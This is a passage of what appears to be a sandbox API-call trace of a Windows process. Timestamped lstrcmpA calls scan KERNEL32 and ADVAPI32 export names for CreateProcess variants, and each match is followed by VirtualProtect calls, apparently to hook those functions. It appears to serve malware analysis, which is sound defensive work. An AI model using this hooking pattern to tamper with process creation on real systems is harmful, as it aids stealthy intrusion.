lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0073.325] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0073.326] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0073.327] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0073.327] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x2) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ed50 [0073.327] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ed70 [0073.327] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ed50 | out: hHeap=0x2030000) returned 1 [0073.327] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ed70 | out: hHeap=0x2030000) returned 1 [0073.327] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x20) returned 1 [0073.327] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x40) returned 1 [0073.328] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x40) returned 1 [0073.328] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec70, ReturnLength=0x0) returned 0x0 [0073.328] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0073.328] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242ed50 [0073.328] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0073.328] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0073.329] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0073.330] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0073.331] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0073.332] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0073.332] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x2) returned 1 [0073.332] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242edc0 [0073.332] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ede0 [0073.332] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242edc0 | out: hHeap=0x2030000) returned 1 [0073.332] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ede0 | out: hHeap=0x2030000) returned 1 [0073.332] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x20) returned 1 [0073.333] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x23ecd0 | out: lpflOldProtect=0x23ecd0*=0x40) returned 1 [0073.333] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x23ecd8 | out: lpflOldProtect=0x23ecd8*=0x40) returned 1 [0073.333] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec70, ReturnLength=0x0) returned 0x0 [0073.333] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0073.333] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242edc0 [0073.333] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0073.333] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0073.334] lstrcmpA 